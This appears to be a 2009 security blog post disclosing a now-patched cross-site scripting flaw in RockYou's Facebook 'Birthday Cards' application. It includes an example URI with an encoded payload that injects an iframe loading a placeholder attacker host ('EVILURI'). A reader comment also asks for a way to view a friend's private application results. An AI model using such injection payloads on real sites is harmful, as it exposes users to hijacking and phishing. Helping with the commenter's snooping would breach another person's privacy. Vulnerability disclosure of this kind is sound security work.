Sep. 9, 2009

Posted by in FAXX Hacks | 1 comment

FAXX Hack: Birthday Cards

Current Monthly Active Users: 9,067,238

Current Rank on Application Leaderboard: 18

Application Developer: RockYou

Responsiveness: Once again, RockYou never sent a message but did patch the hole.

Vulnerability Status: Patched

Capable of Clickjacking Install: No

Example URI: http://apps.facebook.com/rybirthday/zoo/shop.php?category=%22%2F%3E%3Cfb%3Aiframe+src%3D%22http://fb.rockyou.com/facebook_apps/rybirthdays/zoo/shop.php?category=%2522%252F%253E%253Ciframe%2Bsrc%253D%2522http%253A%252F%252FEVILURI%252F%2522%253E%22%3E

One Comment

  1. sumit says:
    September 9, 2009 at 3:27 pm

    can u tell me a hack.. by which i can see d results of an application used by my frnd.. who does not post d results on their wall..

    thank u if u cud tell this… :)

Leave a Reply